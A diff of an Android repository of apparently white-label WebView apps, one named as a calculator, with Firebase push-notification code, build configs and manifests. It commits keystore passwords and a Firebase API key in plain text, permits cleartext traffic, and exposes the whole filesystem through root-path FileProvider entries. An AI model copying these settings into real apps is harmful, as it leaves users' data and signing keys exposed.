notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
titanplayz/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'toke66a')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "270"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'U88AUD')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "70"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'UU33AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "194"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'vv88')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "276"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'WE1WIN')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "120"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
we88sg26/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
we88sg26/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "we88sg"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.noti.we88sg26"
//app大背景色
resValue('color', 'windows_color', '#030511')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#030511')
//app 名字
resValue('string', 'app_name', 'we88sg')
buildConfigField "int", "USERID", "22"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "1028817181372",
"project_id": "we88sg26",
"storage_bucket": "we88sg26.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1028817181372:android:c0c246bc3eb88035058eb9",
"android_client_info": {
"package_name": "com.noti.we88sg26"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyD0YIp3Rnd8uDQuvov_cv3fTJKWG-Ln80w"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
we88sg26/justlet.jks Normal file

Binary file not shown.

32
we88sg26/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 327 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
we88sg26/telur33.jks Normal file

Binary file not shown.

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 45
versionName "3.2.5"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//包名
@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'WINWAY')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://winway33.site/\""
//后台唯一ID
buildConfigField "int", "USERID", "4"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 45
versionName "3.2.5"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//包名
@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', '计算器')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://winway33.site/\""
//后台唯一ID
buildConfigField "int", "USERID", "4"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'XOFUN88')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "274"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;